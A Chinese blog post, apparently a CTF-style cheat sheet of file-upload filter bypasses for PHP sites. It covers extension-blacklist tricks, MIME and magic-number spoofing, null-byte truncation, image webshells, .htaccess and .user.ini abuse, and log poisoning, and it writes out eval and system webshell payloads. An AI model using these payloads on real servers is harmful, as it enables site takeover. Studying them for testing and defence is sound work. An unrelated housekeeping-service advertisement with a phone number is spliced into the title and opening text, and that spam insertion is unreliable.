文件上传绕过技巧大汇总家政服务13825404095

文章正文
发布时间:2025-07-25 11:31

记录文件上传漏洞的常见绕过/利用技巧。

v1:一部分,家政服务13825404095后续继续补。

Single 前端限制绕过

前端嘛,要么删,要么禁JS。

二次渲染绕过

情形:网站允许上传php等文件,但是会检查文件内容,对检测出来的恶意内容进行渲染,从而使得文件无害化。

问题:当某个木马图片文件被上传时经过渲染后,将渲染后的文件再上传时就不会查出恶意文件。

绕过方法:先将一个木马文件上传后渲染,再将经过渲染后的文件下载下来,把木马内容添加到经过渲染的图片文件,此时再上传去渲染就不会查出木马内容。

实现:使用16进制编辑器找到两次文件的异同,在相同的地方(即被判定无害)加入恶意代码(一句话木马等),再次上传就可以成功了。

条件竞争

写过关于条件竞争的文章提到过:https://www.cnblogs.com/ddd-flag/articles/18552188

多文件上传

可以上传多文件但是只检查第一份文件

显然,只需要第一份上传合法文件,第二份上传马即可。

注:将第二个文件表单的action设置为绝对路径<file>以确定文件上传的路径,方便利用。

目录穿越漏洞

通过将文件名修改为形如./../../../<flie>的形式,实现目录穿越。

文件内容检测

过滤php:<?=eval($_POST[x]);?>

过滤[]:<?=eval($_POST{x});?>

过滤;与[]:<?=system('tac ../flag.*')?>

过滤():<?=tac ../fl*?>

黑名单绕过 相似后缀名绕过

httpd.conf 配置文件中的 AddType application/x-httpd-php 配置开启

使用其他会被解析为PHP文件的后缀。

常见后缀

phtml php php3 php4 php5 inc

大小写绕过

匹配时,模式串以i开头即区分大小写。

原理:由于匹配时区分大小写,而解析时不区分大小写都可以解析,从而导致绕过黑名单。

方式:抓包,改文件名,任意选择被匹配的位置的字符串中的部分字符转换大小写即可。

空格绕过

原理:在文件名的前面或者后面(主要是后面,因为一般过滤后缀名)添加空格,此时函数匹配不到,但是带有空格不影响解析。

方式:抓包,改文件名,在文件末尾添加空格。

e.g. “a.php” -> “a.php ”

.绕过

原理:与空格绕过类似。

方式:抓包,改文件名,在文件末尾添加.。

e.g. a.php -> a.php.

::$data绕过

只适用于Windows系统

原理:在Windows中,访问<file>::$data就是访问文件本身,访问<dir>:<file>::$data就是访问dir文件夹中的<file>。

方式:抓包,改文件名,在文件末尾添加::$data。

e.g. a.php -> a.php::$data

注:访问时文件名后不加::$data

双写绕过

过滤方式为删除指定字符串

原理:删除指定字符串后的字符串刚好是黑名单中的内容。

方式:在被过滤的字符串中间插入该字符串(可套娃,可配合其他方式)。

e.g. a.php -> a.phphpp

单次过滤绕过

只使用一次过滤

原理:一次过滤去过滤使用了多重绕过的文件名。

方式:(根据源码)套娃!

e.g.如下面的过滤,使用a.php. .就可以绕过

<?php $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空

白名单绕过 MIME绕过

过滤检查MIME类型(Content-Type)

文件幻数检测绕过

幻数(magic number):用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。

常用幻数(16进制编辑器修改开头)

.jpg FF D8 FF E0 00 10 4A 46 49 46 .gif 47 49 46 38 39 61 .png 89 50 4E 47

00截断

PHP < 5.3
php.ini配置文件中 magic_quotes_gpc 为 off

原理:系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束,从而忽略后面的内容。

方式1:抓包,利用0x00的URL编码%00修改文件名。

e.g. a.php -> a.php%00.jpg

方式2:当截断内容在POST数据中,修改对应位置为一个;(自选),然后直接修改16进制内容为00,再发包。

图片马利用

需要解析漏洞或文件包含漏洞

原理:将马放入正常图片中,骗过检测。

图片马制作方式:

copy 命令

copy a.jpg /b + a.php /a shell.jpg

手动写入:记事本编辑写马即可。

注:上传的文件本质上依然是一张图片,所以需要通过抓包修改后缀名上传配置文件利用文件包含漏洞等方式使得该图片马被当成php文件解析。

上传配置文件绕过 .htaccess文件绕过

中间件为apache

.htaccess文件(或者“分布式配置文件”):一个纯文本文件,它里面存放着Apache服务器配置相关的指令。主要的作用有URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等方面。

原理:上传.htaccess文件,重写文件解析规则,实现绕过。

e.g. jpg文件的源码会被解析为php代码

AddType application/x-httpd-php .jpg

.user.ini文件绕过

服务器启用了 fastcgi 模式

.user.ini:PHP支持基于每个目录的 INI 文件配置,实际上就是一个可以由用户“自定义”的php.ini。

有利用价值的配置(相当于文件包含)

auto_prepend_file = <filename> //包含在文件头(常用) auto_append_file = <filename> //包含在文件尾

e.g. 执行phpinfo

// .user.ini auto_prepend_file = 1.jpg // 1.jpg <?php phpinfo();?> // 1.php(任意php文件)

局限:如果可以配合目录穿越漏洞,就能实现任意文件包含;如果不可以,则只能包含同一目录下的文件。

利用:配合日志包含,在请求头(一般是UA字段)写入木马。

auto_prepend_file=/var/log/nginx/access.log UA: <?=eval($_POST[x]);?>

中间件解析漏洞 WAF绕过 参考文章

https://blog.csdn.net/qq_63844103/article/details/128691663?utm_source=miniapp_weixin
https://blog.csdn.net/weixin_43077878/article/details/137256587?utm_source=miniapp_weixin

首页
评论
分享
Top